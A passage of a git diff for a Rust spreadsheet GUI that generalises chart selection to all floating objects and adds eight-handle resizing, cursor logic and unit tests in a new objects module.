Some(CursorIcon::ResizeRow), Drag::Freeze { cols, .. } => Some(if *cols { CursorIcon::ResizeHorizontal } else { CursorIcon::ResizeVertical }), - Drag::Object { resize: true, .. } => Some(CursorIcon::ResizeNwSe), + Drag::Object { handle: Some(h), .. } => Some(h.cursor(rtl)), } } @@ -75,10 +76,18 @@ fn hover_cursor(app: &SheetApp, ctx: &egui::Context, resp: &egui::Response, poin let border_panes = geo.range_panes(sel.current()); let on_handle = handle.contains(p) && handle_panes.iter().any(|r| r.contains(p)); let on_cur_border = on_border(cur_rect, p) && border_panes.iter().any(|r| r.contains(p)); - let selected_object = crate::chartview::hit(app, geo, sh, p).filter(|&(_, id, _)| app.selected_chart == Some(id)); - let near_corner = selected_object.is_some_and(|(_, _, rect)| (p - rect.right_bottom()).length() < OBJECT_RESIZE_RADIUS); - if app.grid.drag == Drag::None && near_corner { - ctx.set_cursor_icon(CursorIcon::ResizeNwSe); + // The selected object's handles resize it; any object's body moves it. + let idle = app.grid.drag == Drag::None && app.editor.is_none(); + let object_handle = if idle && in_cells { + app.selected_object.and_then(|o| crate::chartview::object_rect(geo, sh, o)).and_then(|r| crate::objects::handle_at(r, p)) + } else { + None + }; + let on_object = idle && crate::chartview::hit(app, geo, sh, p).is_some(); + if let Some(h) = object_handle { + ctx.set_cursor_icon(h.cursor(geo.rtl)); + } else if on_object { + ctx.set_cursor_icon(CursorIcon::Move); } else if near_col_edge || (in_row_header && row_edge(geo, sh, p.y).is_some()) { header_edge_cursor(app, ctx, pointer, geo, sh, p, near_col_edge); } else if on_handle && app.editor.is_none() { diff --git a/crates/ui-egui/src/grid/interact.rs b/crates/ui-egui/src/grid/interact.rs index 4ffeaeb83..5b8eade31 100644 --- a/crates/ui-egui/src/grid/interact.rs +++ b/crates/ui-egui/src/grid/interact.rs @@ -1,3 +1,5 @@ +use gridcraft_engine::model::{ObjKind, ObjRef}; + use super::editor::validation_arrow; use super::geo::Geo; use super::keyboard::keyboard; @@ -11,9 +13,6 @@ use super::{ // ------------------------------------------------------------------ interaction -/// How close (in points) a press must be to an object's bottom-right corner to resize it instead of moving it. -pub(super) const OBJECT_RESIZE_RADIUS: f32 = 10.0; - struct InteractionInput<'a> { ui: &'a mut egui::Ui, response: &'a egui::Response, @@ -107,7 +106,7 @@ pub(super) fn interact(app: &mut SheetApp, ui: &mut egui::Ui, resp: &egui::Respo && let Some(p) = pos && let Some((id, act)) = crate::chartview::slicer_click(geo, sh, wb, wb.active_sheet(), p) { - app.selected_chart = Some(id); + app.selected_object = Some(ObjRef::new(ObjKind::Slicer, id)); match act { crate::chartview::SlicerAction::Toggle(value) => { let _ = app.run("slicer.toggle", json!({"slicer": id, "value": value, "multi": mods.command || mods.ctrl})); @@ -123,41 +122,40 @@ pub(super) fn interact(app: &mut SheetApp, ui: &mut egui::Ui, resp: &egui::Respo let primary_drag = resp.drag_started_by(egui::PointerButton::Primary); if primary_drag || primary_clicked { // A drag is recognised only after the pointer has moved, so grab the object where the press began. - let at = if primary_drag { pointer.press_origin().or(pos) } else { pos }; + let at = if primary_drag { pointer.press_origin().map(|p| geo.mirror_pos(p)).or(pos) } else { pos }; + // The selected object's handles reach a little outside it, so they win over hit-testing. + let on_handle = app.selected_object.and_then(|o| { + let r = crate::chartview::object_rect(geo, sh, o)?; + at.and_then(|p| crate::objects::handle_at(r, p)).map(|_| (o, r)) + }); if let Some(p) = at - && let Some((kind, id, rect)) = crate::chartview::hit(app, geo, sh, p) + && let Some((obj, rect)) = on_handle.or_else(|| crate::chartview::hit(app, geo, sh, p)) { - app.selected_chart = Some(id); - if kind == "shape" - && resp.double_clicked() - && sh.shapes.iter().any(|s| s.id == id && s.kind == gridcraft_engine::model::ShapeKind::TextBox) - { - app.begin_text_box_edit(id); + app.selected_object = Some(obj); + if resp.double_clicked() && app.open_object(obj) != crate::objects::OpenAction::Select { return; } - if kind == "chart" && resp.double_clicked() { - app.grid.pane = Some("formatChart".into()); - } - if primary_drag { - let a = object_anchor(sh, kind, id); - let resize = (p - rect.right_bottom()).length() < OBJECT_RESIZE_RADIUS; - if let Some(a) = a { - app.grid.drag = Drag::Object { kind, id, start: p, orig: (a.cell, a.dx, a.dy, a.width, a.height), resize }; + if primary_drag && let Some(a) = sh.object_anchor(obj) { + let handle = crate::objects::handle_at(rect, p); + app.grid.drag = Drag::Object { obj, start: p, orig: (a.cell, a.dx, a.dy, a.width, a.height), handle }; + // The first recognised drag frame already holds movement away from the press. + if let Some(now) = pos { + drag_object(app, geo, sh, now); } } return; } - app.selected_chart = None; + app.selected_object = None; } // A right-click on a chart, picture, shape or slicer opens the object's menu, not the cell's // under it; a right press that wobbles into a drag counts too (#2067). let secondary_drag = resp.drag_started_by(egui::PointerButton::Secondary); if (resp.secondary_clicked() || secondary_drag) && let Some(p) = if secondary_drag { pointer.press_origin().map(|p| geo.mirror_pos(p)).or(pos) } else { pos } - && let Some((kind, id, _)) = crate::chartview::hit(app, geo, sh, p) + && let Some((obj, _)) = crate::chartview::hit(app, geo, sh, p) { - app.selected_chart = Some(id); - app.grid.object_menu = Some((geo.mirror_pos(p), kind, id)); + app.selected_object = Some(obj); + app.grid.object_menu = Some((geo.mirror_pos(p), obj.kind.name(), obj.id)); return; } @@ -241,7 +239,7 @@ fn handle_draw_tool(app: &mut SheetApp, input: &InteractionInput<'_>) -> bool { } if app.session.draw_tool == "eraser" && (primary_clicked || resp.dragged()) { if let Some(p) = pos - && let Some(("shape", id, _)) = crate::chartview::hit(app, geo, sh, p) + && let Some((ObjRef { kind: ObjKind::Shape, id }, _)) = crate::chartview::hit(app, geo, sh, p) && sh.shapes.iter().any(|s| s.id == id && s.kind == gridcraft_engine::model::ShapeKind::Ink) { let _ = app.run("object.delete", json!({"kind": "shape", "id": id})); @@ -669,21 +667,7 @@ fn handle_dragging(app: &mut SheetApp, input: &InteractionInput<'_>) { app.grid.drag = Drag::Move { grab, to: Some(src.start.offset_clamped(dr, dc)) }; scroll_by(app, auto); } - Drag::Object { kind, id, start, orig, resize } => { - let d = (p - start) / geo.z; - let (cell, dx, dy, w, h) = orig; - let params = if resize { - json!({"kind": kind, "id": id, "width": (w + d.x).max(20.0), "height": (h + d.y).max(20.0)}) - } else { - // Re-anchor at the cell under the new top-left. - let x0 = sh.col_left(cell.col) as f32 + dx + d.x; - let y0 = sh.row_top(cell.row) as f32 + dy + d.y; - let nc = CellRef::new(sh.row_at(y0.max(0.0) as f64), sh.col_at(x0.max(0.0) as f64)); - json!({"kind": kind, "id": id, "at": nc.a1(), "dx": x0.max(0.0) - sh.col_left(nc.col) as f32, "dy": y0.max(0.0) - sh.row_top(nc.row) as f32}) - }; - let _ = app.session.run("object.move", params); - coalesce_last_undo(app); - } + Drag::Object { .. } => drag_object(app, geo, sh, p), Drag::None => {} } } @@ -974,29 +958,30 @@ pub(super) fn hidden_row_edge(geo: &Geo, sh: &Sheet, y: f32) -> Option { row_edge(geo, sh, y).map(|(r, _)| r).filter(|&r| sh.row_height(r) <= 0.0) } -fn object_anchor(sh: &Sheet, kind: &str, id: u32) -> Option { - match kind { - "chart" => sh.charts.iter().find(|c| c.id == id).map(|c| c.anchor), - "image" => sh.images.iter().find(|c| c.id == id).map(|c| c.anchor), - "slicer" => sh.slicers.iter().find(|c| c.id == id).map(|c| c.anchor), - _ => sh.shapes.iter().find(|c| c.id == id).map(|c| c.anchor), - } -} - -pub(super) fn delete_selected_object(app: &mut SheetApp, sh: &Sheet) -> bool { - let Some(id) = app.selected_chart else { return false }; - let kind = if sh.charts.iter().any(|object| object.id == id) { - "chart" - } else if sh.images.iter().any(|object| object.id == id) { - "image" - } else if sh.shapes.iter().any(|object| object.id == id) { - "shape" - } else { - return false; +/// Moves the dragged object, or resizes it from the grabbed handle, to follow the pointer at `p` +/// (logical coordinates). The whole drag coalesces into one undo step. +fn drag_object(app: &mut SheetApp, geo: &Geo, sh: &Sheet, p: Pos2) { + let Drag::Object { obj, start, orig, handle } = app.grid.drag.clone() else { return }; + let d = (p - start) / geo.z; + let (cell, dx, dy, w, h) = orig; + let x0 = sh.col_left(cell.col) as f32 + dx; + let y0 = sh.row_top(cell.row) as f32 + dy; + let [x0, y0, x1, y1] = match handle { + Some(hd) => crate::objects::resized([x0, y0, x0 + w, y0 + h], hd, d, crate::objects::min_size(sh, obj)), + None => { + let (x0, y0) = ((x0 + d.x).max(0.0), (y0 + d.y).max(0.0)); + [x0, y0, x0 + w, y0 + h] + } }; - app.run_or_alert("object.delete", json!({"kind": kind, "id": id})); - app.selected_chart = None; - true + // Re-anchor at the cell under the new top-left. + let nc = CellRef::new(sh.row_at(y0 as f64), sh.col_at(x0 as f64)); + let params = json!({ + "kind": obj.kind.name(), "id": obj.id, "at": nc.a1(), + "dx": x0 - sh.col_left(nc.col) as f32, "dy": y0 - sh.row_top(nc.row) as f32, + "width": x1 - x0, "height": y1 - y0, + }); + let _ = app.session.run("object.move", params); + coalesce_last_undo(app); } /// A click on a hyperlink. References select; web and e-mail addresses ask first (the dialog's diff --git a/crates/ui-egui/src/grid/keyboard.rs b/crates/ui-egui/src/grid/keyboard.rs index c55e20df1..b8823d570 100644 --- a/crates/ui-egui/src/grid/keyboard.rs +++ b/crates/ui-egui/src/grid/keyboard.rs @@ -1,5 +1,4 @@ use super::geo::Geo; -use super::interact::delete_selected_object; use super::menus::is_checkbox; use super::{CellRef, Drag, Sheet, SheetApp, json}; @@ -124,9 +123,10 @@ pub(super) fn keyboard(app: &mut SheetApp, ctx: &egui::Context, resp: &egui::Res } Key::Tab => app.move_after_enter(0, if shift { -1 } else { 1 }), Key::F2 => app.begin_edit(None, false), - Key::Delete if delete_selected_object(app, sh) => {} + // With an object selected, Delete and Backspace delete it, not the cells. + Key::Delete if app.delete_selected_object() => {} Key::Delete => app.run_or_alert("edit.clearContents", json!({})), - Key::Backspace if delete_selected_object(app, sh) => {} + Key::Backspace if app.delete_selected_object() => {} Key::Backspace => { // Excel for Mac: Delete clears the cell and starts editing it. app.run_or_alert("edit.clearContents", json!({})); @@ -134,6 +134,7 @@ pub(super) fn keyboard(app: &mut SheetApp, ctx: &egui::Context, resp: &egui::Res app.begin_edit(Some(String::new()), false); } } + Key::Escape if app.selected_object.is_some() => app.selected_object = None, Key::Escape => { app.session.clipboard = None; app.session.format_painter = None; diff --git a/crates/ui-egui/src/grid/menus.rs b/crates/ui-egui/src/grid/menus.rs index dbe34af8d..b05a04bc7 100644 --- a/crates/ui-egui/src/grid/menus.rs +++ b/crates/ui-egui/src/grid/menus.rs @@ -393,7 +393,7 @@ pub(super) fn object_menu(app: &mut SheetApp, ui: &mut egui::Ui) { "ui:formatChart" => app.grid.pane = Some("formatChart".into()), _ => { app.run_or_alert("object.delete", json!({"kind": kind, "id": id})); - app.selected_chart = None; + app.selected_object = None; } } } diff --git a/crates/ui-egui/src/grid/show.rs b/crates/ui-egui/src/grid/show.rs index 2e79ee165..e4ab8ee0d 100644 --- a/crates/ui-egui/src/grid/show.rs +++ b/crates/ui-egui/src/grid/show.rs @@ -172,7 +172,7 @@ pub fn show(app: &mut SheetApp, ui: &mut egui::Ui) { // Objects above cells. A hidden object can't stay selected: Delete or the Format pane would act // on something the user can't see. if crate::chartview::objects_hidden(&wb) { - app.selected_chart = None; + app.selected_object = None; } let objects = crate::chartview::paint_objects(app, &painter.with_clip_rect(geo.cells), &geo, &wb, si, sh); paint_overlays(OverlayInput { diff --git a/crates/ui-egui/src/lib.rs b/crates/ui-egui/src/lib.rs index db9ab316f..76d66c4ca 100644 --- a/crates/ui-egui/src/lib.rs +++ b/crates/ui-egui/src/lib.rs @@ -39,6 +39,7 @@ pub mod keymap; pub mod keytips; pub mod macro_editor; pub mod macro_ui; +pub mod objects; pub mod outline; pub mod panes; pub mod paper_view; @@ -265,8 +266,8 @@ pub struct SheetApp { /// false (a bare test/embedder that never runs the hook) capture code falls back to egui's /// current input instead of reusing a stale recorded value. pub(crate) capture_geometry_from_raw: bool, - /// Chart selected on the sheet (id). - pub selected_chart: Option, + /// The floating object selected on the sheet (chart, picture, shape or slicer). + pub selected_object: Option, /// The system clipboard's text when GridCraft last copied without publishing to it (a /// control-channel or MCP `edit.copy`/`edit.cut`). While the system clipboard still holds this /// text, GridCraft's copy is the newer one and Paste uses it. diff --git a/crates/ui-egui/src/objects.rs b/crates/ui-egui/src/objects.rs new file mode 100644 index 000000000..004f07d09 --- /dev/null +++ b/crates/ui-egui/src/objects.rs @@ -0,0 +1,217 @@ +//! Selecting, resizing, deleting and opening floating objects (charts, pictures, shapes and +//! slicers). Painting and hit-testing live in `chartview`. + +use egui::{CursorIcon, Pos2, Rect, Vec2}; +use gridcraft_engine::model::{ObjKind, ObjRef, ShapeKind, Sheet}; +use serde_json::json; + +use crate::SheetApp; + +/// One of the eight resize handles on a selected object's frame. +#[derive(Clone, Copy, Debug, PartialEq, Eq)] +pub enum Handle { + TopLeft, + Top, + TopRight, + Left, + Right, + BottomLeft, + Bottom, + BottomRight, +} + +impl Handle { + pub const ALL: [Handle; 8] = + [Handle::TopLeft, Handle::Top, Handle::TopRight, Handle::Left, Handle::Right, Handle::BottomLeft, Handle::Bottom, Handle::BottomRight]; + + /// Which edges the handle moves: -1 the left or top edge, 1 the right or bottom edge, 0 neither. + pub fn sides(self) -> (i8, i8) { + match self { + Handle::TopLeft => (-1, -1), + Handle::Top => (0, -1), + Handle::TopRight => (1, -1), + Handle::Left => (-1, 0), + Handle::Right => (1, 0), + Handle::BottomLeft => (-1, 1), + Handle::Bottom => (0, 1), + Handle::BottomRight => (1, 1), + } + } + + /// Where the handle sits on `r`. + pub fn pos(self, r: Rect) -> Pos2 { + let (sx, sy) = self.sides(); + let x = match sx { + -1 => r.left(), + 1 => r.right(), + _ => r.center().x, + }; + let y = match sy { + -1 => r.top(), + 1 => r.bottom(), + _ => r.center().y, + }; + Pos2::new(x, y) + } + + /// The pointer shape over the handle (on a right-to-left sheet the diagonals swap, as the + /// frame is mirrored on screen). + pub fn cursor(self, rtl: bool) -> CursorIcon { + match self { + Handle::TopLeft | Handle::BottomRight if !rtl => CursorIcon::ResizeNwSe, + Handle::TopRight | Handle::BottomLeft if rtl => CursorIcon::ResizeNwSe, + Handle::TopLeft | Handle::BottomRight | Handle::TopRight | Handle::BottomLeft => CursorIcon::ResizeNeSw, + Handle::Left | Handle::Right => CursorIcon::ResizeHorizontal, + Handle::Top | Handle::Bottom => CursorIcon::ResizeVertical, + } + } +} + +/// The handle of `r` under `p`: the nearest one within reach. Corners reach further than edge +/// midpoints, and the reach shrinks on small objects so that their middle still moves them. +pub fn handle_at(r: Rect, p: Pos2) -> Option { + let small = r.width().min(r.height()); + Handle::ALL + .into_iter() + .map(|h| { + let (sx, sy) = h.sides(); + let reach = if sx != 0 && sy != 0 { 10.0f32 } else { 7.0 }.min((small / 3.0).max(4.0)); + (h, (h.pos(r) - p).length(), reach) + }) + .filter(|(_, d, reach)| d <= reach) + .min_by(|a, b| a.1.total_cmp(&b.1)) + .map(|(h, ..)| h) +} + +/// The smallest size (points) a resize leaves: lines and arrows may lie flat, every other object +/// keeps some body. +pub fn min_size(sh: &Sheet, o: ObjRef) -> Vec2 { + let flat = o.kind == ObjKind::Shape && sh.shapes.iter().any(|s| s.id == o.id && matches!(s.kind, ShapeKind::Line | ShapeKind::Arrow)); + if flat { Vec2::new(1.0, 0.0) } else { Vec2::new(8.0, 8.0) } +} + +/// The sheet-point rectangle `[x0, y0, x1, y1]` after dragging `handle` by `d` points. Only the +/// grabbed edges move; they never cross the opposite edge (each keeps `min` from it) or leave +/// the sheet's top-left corner. +pub fn resized(orig: [f32; 4], handle: Handle, d: Vec2, min: Vec2) -> [f32; 4] { + let [mut x0, mut y0, mut x1, mut y1] = orig; + let (sx, sy) = handle.sides(); + match sx { + -1 => x0 = (x0 + d.x).min(x1 - min.x).max(0.0), + 1 => x1 = (x1 + d.x).max(x0 + min.x), + _ => {} + } + match sy { + -1 => y0 = (y0 + d.y).min(y1 - min.y).max(0.0), + 1 => y1 = (y1 + d.y).max(y0 + min.y), + _ => {} + } + [x0, y0, x1, y1] +} + +/// What double-clicking an object opens. +#[derive(Clone, Copy, Debug, PartialEq, Eq)] +pub enum OpenAction { + /// Edit a text box's text in place (`text_box.rs`). + EditText(u32), + /// The Format Chart pane. + FormatChart(u32), + /// Nothing beyond selecting it. + Select, +} + +pub fn open_action(sh: &Sheet, o: ObjRef) -> OpenAction { + match o.kind { + ObjKind::Chart => OpenAction::FormatChart(o.id), + ObjKind::Shape if sh.shapes.iter().any(|s| s.id == o.id && s.kind == ShapeKind::TextBox) => OpenAction::EditText(o.id), + ObjKind::Shape | ObjKind::Image | ObjKind::Slicer => OpenAction::Select, + } +} + +impl SheetApp { + /// Double-click on an object: selects it and opens what edits it. + pub fn open_object(&mut self, o: ObjRef) -> OpenAction { + self.selected_object = Some(o); + let action = self.session.active().and_then(|d| d.wb.active()).map_or(OpenAction::Select, |sh| open_action(sh, o)); + match action { + OpenAction::EditText(id) => { + self.begin_text_box_edit(id); + } + OpenAction::FormatChart(_) => self.grid.pane = Some("formatChart".into()), + OpenAction::Select => {} + } + action + } + + /// The selected object's id when it is a chart (the Chart Design tab and Format Chart pane). + pub fn selected_chart(&self) -> Option { + self.selected_object.filter(|o| o.kind == ObjKind::Chart).map(|o| o.id) + } + + /// Selects the object with id `id` on the active sheet, whatever its kind; `None` (or an id + /// that is not there) clears the selection. + pub fn select_object_id(&mut self, id: Option) { + self.selected_object = id.and_then(|id| self.session.active().and_then(|d| d.wb.active()).and_then(|sh| sh.object_ref(id))); + } + + /// Deletes the selected object (Delete and Backspace). False when nothing on the active + /// sheet is selected, so the key clears cells instead. + pub fn delete_selected_object(&mut self) -> bool { + let Some(o) = self.selected_object.take() else { return false }; + if !self.session.active().and_then(|d| d.wb.active()).is_some_and(|sh| sh.has_object(o)) { + return false; + } + self.run_or_alert("object.delete", json!({"kind": o.kind.name(), "id": o.id})); + true + } + + /// Drops the selection when its object is gone from the active sheet (deleted, undone, or + /// another sheet or workbook became active). + pub fn prune_selected_object(&mut self) { + if let Some(o) = self.selected_object + && !self.session.active().and_then(|d| d.wb.active()).is_some_and(|sh| sh.has_object(o)) + { + self.selected_object = None; + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + use egui::{pos2, vec2}; + + #[test] + fn handles_sit_on_the_frame_and_corners_win() { + let r = Rect::from_min_size(pos2(100.0, 100.0), vec2(200.0, 100.0)); + for h in Handle::ALL { + assert_eq!(handle_at(r, h.pos(r)), Some(h)); + } + assert_eq!(handle_at(r, r.center()), None); + assert_eq!(handle_at(r, pos2(106.0, 106.0)), Some(Handle::TopLeft)); + // A tiny object keeps its middle for moving. + let tiny = Rect::from_min_size(pos2(0.0, 0.0), vec2(12.0, 12.0)); + assert_eq!(handle_at(tiny, tiny.center()), None); + } + + #[test] + fn resizing_moves_only_the_grabbed_edges_and_never_inverts() { + let o = [10.0, 20.0, 110.0, 70.0]; + let m = vec2(8.0, 8.0); + assert_eq!(resized(o, Handle::BottomRight, vec2(5.0, 6.0), m), [10.0, 20.0, 115.0, 76.0]); + assert_eq!(resized(o, Handle::TopLeft, vec2(5.0, 6.0), m), [15.0, 26.0, 110.0, 70.0]); + assert_eq!(resized(o, Handle::Top, vec2(50.0, 6.0), m), [10.0, 26.0, 110.0, 70.0]); + assert_eq!(resized(o, Handle::Right, vec2(-500.0, 6.0), m), [10.0, 20.0, 18.0, 70.0]); + assert_eq!(resized(o, Handle::Left, vec2(-500.0, 0.0), m), [0.0, 20.0, 110.0, 70.0]); + assert_eq!(resized(o, Handle::BottomLeft, vec2(500.0, 500.0), m), [102.0, 20.0, 110.0, 570.0]); + } + + #[test] + fn diagonal_cursors_swap_on_a_mirrored_sheet() { + assert_eq!(Handle::BottomRight.cursor(false), CursorIcon::ResizeNwSe); + assert_eq!(Handle::BottomRight.cursor(true), CursorIcon::ResizeNeSw); + assert_eq!(Handle::TopRight.cursor(false), CursorIcon::ResizeNeSw); + assert_eq!(Handle::TopRight.cursor(true), CursorIcon::ResizeNwSe); + assert_eq!(Handle::Left.cursor(true), CursorIcon::ResizeHorizontal); + } +} diff --git a/crates/ui-egui/src/panes.rs b/crates/ui-egui/src/panes.rs index ec6146018..6adc1f698 100644 --- a/crates/ui-egui/src/panes.rs +++ b/crates/ui-egui/src/panes.rs @@ -3,6 +3,8 @@ use egui::{Color32, Ui, vec2}; use serde_json::{Value as Json, json}; +use gridcraft_engine::model::{ObjKind, ObjRef}; + use crate::SheetApp; use crate::theme::{self, Tokens}; @@ -146,10 +148,11 @@ fn selection(app: &mut SheetApp, ui: &mut Ui) { for it in items.iter().rev() { let kind = it["kind"].as_str().unwrap_or("").to_string(); let id = it["id"].as_u64().unwrap_or(0) as u32; + let obj = ObjKind::parse(&kind).map(|k| ObjRef::new(k, id)); ui.horizontal(|ui| { - let sel = app.selected_chart == Some(id); + let sel = obj.is_some() && app.selected_object == obj; if ui.selectable_label(sel, it["name"].as_str().unwrap_or("")).clicked() { - app.selected_chart = Some(id); + app.selected_object = obj; } if ui.small_button("▲").on_hover_text("Bring Forward").clicked() { app.run_or_alert("arrange.bringForward", json!({"kind": kind, "id": id})); @@ -166,7 +169,7 @@ fn selection(app: &mut SheetApp, ui: &mut Ui) { /// Draws the chart format pane: title, type, legend, elements/axis titles, series colors, palettes/layouts and size. fn format_chart(app: &mut SheetApp, ui: &mut Ui) { - let Some(id) = app.selected_chart else { + let Some(id) = app.selected_chart() else { ui.label(egui::RichText::new("Select a chart to format it.").italics()); return; }; diff --git a/crates/ui-egui/src/ribbon.rs b/crates/ui-egui/src/ribbon.rs index 49aba2b0e..d2adc491e 100644 --- a/crates/ui-egui/src/ribbon.rs +++ b/crates/ui-egui/src/ribbon.rs @@ -282,7 +282,7 @@ fn contextual_tabs(app: &SheetApp) -> Vec<&'static str> { if sh.table_at(d.selection.active).is_some() { v.push("Table Design"); } - if app.selected_chart.is_some_and(|id| sh.charts.iter().any(|c| c.id == id)) { + if app.selected_chart().is_some_and(|id| sh.charts.iter().any(|c| c.id == id)) { v.push("Chart Design"); } if app.grid.hf_edit.is_some() { diff --git a/crates/ui-egui/src/ribbon/contextual.rs b/crates/ui-egui/src/ribbon/contextual.rs index 469e76cf0..5f11b75e2 100644 --- a/crates/ui-egui/src/ribbon/contextual.rs +++ b/crates/ui-egui/src/ribbon/contextual.rs @@ -109,7 +109,7 @@ fn table_style_strip(app: &mut SheetApp, ui: &mut Ui, tname: &str, current: &str } pub(super) fn chart_design(app: &mut SheetApp, ui: &mut Ui) { - let Some(id) = app.selected_chart else { return }; + let Some(id) = app.selected_chart() else { return }; let ae = big_button(ui, Icon::Chart, "Add Chart\nElement", "Add Chart Element", true); for sequence in keytip_table::group_extension(app.keytips.prefix().unwrap_or_default(), &["chart.set"]) { keytip(app, ui, sequence, ae.rect.center_bottom()); @@ -178,6 +178,6 @@ pub(super) fn chart_design(app: &mut SheetApp, ui: &mut Ui) { control_keytip(app, ui, &__k, "chart.delete"); if __k.clicked() { act(app, "chart.delete", json!({"chart": id})); - app.selected_chart = None; + app.selected_object = None; } } diff --git a/crates/ui-egui/src/text_box.rs b/crates/ui-egui/src/text_box.rs index 01496babe..b14a6e95a 100644 --- a/crates/ui-egui/src/text_box.rs +++ b/crates/ui-egui/src/text_box.rs @@ -50,7 +50,7 @@ impl SheetApp { request_focus: true, rect: None, }); - self.selected_chart = Some(id); + self.selected_object = Some(gridcraft_engine::model::ObjRef::new(gridcraft_engine::model::ObjKind::Shape, id)); self.grid.drag = crate::grid::Drag::None; self.grid.drag_select = false; self.session.mode = Mode::Edit; diff --git a/crates/ui-egui/src/window_ui.rs b/crates/ui-egui/src/window_ui.rs index bc6f31a3d..906ad07f4 100644 --- a/crates/ui-egui/src/window_ui.rs +++ b/crates/ui-egui/src/window_ui.rs @@ -23,7 +23,7 @@ pub struct WindowUi { grid: grid::GridState, name_box: Option, keytips: keytips::KeyTips, - selected_chart: Option, + selected_object: Option, tab_run: Option<(u64, usize, u32, CellRef)>, open_switch_windows: bool, /// The status bar's Ready/Enter/Edit, which follows the window's cell draft. @@ -61,7 +61,7 @@ impl SheetApp { grid, name_box, keytips, - selected_chart, + selected_object, tab_run, open_switch_windows, mode, @@ -76,7 +76,7 @@ impl SheetApp { std::mem::swap(&mut self.grid, grid); std::mem::swap(&mut self.name_box, name_box); std::mem::swap(&mut self.keytips, keytips); - std::mem::swap(&mut self.selected_chart, selected_chart); + std::mem::swap(&mut self.selected_object, selected_object); std::mem::swap(&mut self.tab_run, tab_run); std::mem::swap(&mut self.open_switch_windows, open_switch_windows); std::mem::swap(&mut self.session.mode, mode); diff --git a/crates/ui-egui/tests/it/chart_resize.rs b/crates/ui-egui/tests/it/chart_resize.rs index e2fc537ac..e6b0cdf73 100644 --- a/crates/ui-egui/tests/it/chart_resize.rs +++ b/crates/ui-egui/tests/it/chart_resize.rs @@ -59,7 +59,7 @@ fn dragging_the_corner_handle_resizes_the_chart() { h.run_steps(2); button(&mut h, inside, true); button(&mut h, inside, false); - assert_eq!(h.state().selected_chart, Some(id)); + assert_eq!(h.state().selected_chart(), Some(id)); h.input_mut().events.push(Event::PointerMoved(start)); h.run_steps(2); @@ -76,7 +76,7 @@ fn dragging_the_corner_handle_resizes_the_chart() { /// Opens Format Chart Area for the chart and expands its Size section; returns the Width field's rect. fn open_size_fields(h: &mut Harness, id: u32) -> egui::Rect { - h.state_mut().selected_chart = Some(id); + h.state_mut().select_object_id(Some(id)); h.state_mut().grid.pane = Some("formatChart".into()); h.run_steps(2); h.get_by_role_and_label(Role::DisclosureTriangle, "Size").click(); @@ -141,7 +141,7 @@ fn right_clicking_a_chart_opens_its_menu_not_the_cells() { let (w0, h0) = size(&h, id); let inside = corner(&h, id) - vec2(100.0, 80.0); right_click(&mut h, inside, wobble); - assert_eq!(h.state().selected_chart, Some(id), "the right-clicked chart is selected ({wobble:?})"); + assert_eq!(h.state().selected_chart(), Some(id), "the right-clicked chart is selected ({wobble:?})"); assert!(matches!(h.state().grid.object_menu, Some((_, "chart", i)) if i == id), "the chart's menu opens ({wobble:?})"); assert!(h.state().grid.context_menu.is_none(), "the cell menu stays closed ({wobble:?})"); assert_eq!(size(&h, id), (w0, h0)); diff --git a/crates/ui-egui/tests/it/chart_source_layering.rs b/crates/ui-egui/tests/it/chart_source_layering.rs index 5c4b52f75..7dcfc3fa3 100644 --- a/crates/ui-egui/tests/it/chart_source_layering.rs +++ b/crates/ui-egui/tests/it/chart_source_layering.rs @@ -28,7 +28,7 @@ fn fixture(rtl: bool, frozen: bool) -> (Harness, u32) { session.execute("view.freezePanes", json!({"cell": "A2"})).unwrap(); } let mut h = crate::support::harness(session, 4); - h.state_mut().selected_chart = Some(id); + h.state_mut().select_object_id(Some(id)); if frozen { h.state_mut().view_mut().unwrap().scroll.y = 20.0; } @@ -143,7 +143,7 @@ fn unselected_hidden_and_offscreen_charts_do_not_highlight_sources() { let (mut h, id) = fixture(false, false); assert!(!source_strokes(&h).is_empty(), "selected visible chart highlights its source"); match state { - "unselected" => h.state_mut().selected_chart = None, + "unselected" => h.state_mut().selected_object = None, "hidden" => { h.state_mut().run("view.showObjects", json!({"on": false})).unwrap(); } diff --git a/crates/ui-egui/tests/it/committed_text_fields.rs b/crates/ui-egui/tests/it/committed_text_fields.rs index e1e8c6d8a..84d824dd7 100644 --- a/crates/ui-egui/tests/it/committed_text_fields.rs +++ b/crates/ui-egui/tests/it/committed_text_fields.rs @@ -44,7 +44,7 @@ fn typing_a_chart_title_in_format_chart_area_sets_it() { let chart = session.execute("insert.chart", json!({"type": "column", "at": "D3"})).unwrap(); let id = chart["chart"].as_u64().unwrap() as u32; let mut h = harness(session); - h.state_mut().selected_chart = Some(id); + h.state_mut().select_object_id(Some(id)); h.state_mut().grid.pane = Some("formatChart".into()); h.run_steps(2); h.get_by_role_and_label(Role::DisclosureTriangle, "Chart Title").click(); diff --git a/crates/ui-egui/tests/it/drag_cursor.rs b/crates/ui-egui/tests/it/drag_cursor.rs index 321e25355..1b2134564 100644 --- a/crates/ui-egui/tests/it/drag_cursor.rs +++ b/crates/ui-egui/tests/it/drag_cursor.rs @@ -259,7 +259,7 @@ fn object_move_and_resize_keep_their_cursors_and_update_the_object() { let mut h = harness(); let result = h.state_mut().session.execute("insert.chart", json!({"type": "column", "at": "D3", "width": 300, "height": 200})).unwrap(); let id = result["chart"].as_u64().unwrap() as u32; - h.state_mut().selected_chart = Some(id); + h.state_mut().select_object_id(Some(id)); h.run_steps(2); let g = geo(&h); let min = cell(&h, "D3").min; @@ -268,7 +268,7 @@ fn object_move_and_resize_keep_their_cursors_and_update_the_object() { let target = start + vec2(60.0, 30.0); let cursor = if resize { CursorIcon::ResizeNwSe } else { CursorIcon::Move }; move_with_cursor(&mut h, target, cursor); - assert!(matches!(h.state().grid.drag, Drag::Object { resize: r, .. } if r == resize)); + assert!(matches!(h.state().grid.drag, Drag::Object { handle, .. } if handle.is_some() == resize)); move_with_cursor(&mut h, target + vec2(1.0, 1.0), cursor); button(&mut h, target, false); assert_eq!(h.state().grid.drag, Drag::None); diff --git a/crates/ui-egui/tests/it/format_chart_type.rs b/crates/ui-egui/tests/it/format_chart_type.rs index ae19e1091..8fe695b06 100644 --- a/crates/ui-egui/tests/it/format_chart_type.rs +++ b/crates/ui-egui/tests/it/format_chart_type.rs @@ -18,7 +18,7 @@ fn open_chart_type(t: &str, sub: &str) -> (Harness, u32) { let chart = session.execute("insert.chart", json!({"type": t, "subtype": sub, "at": "E3"})).unwrap(); let id = chart["chart"].as_u64().unwrap() as u32; let mut h = crate::support::harness(session, 4); - h.state_mut().selected_chart = Some(id); + 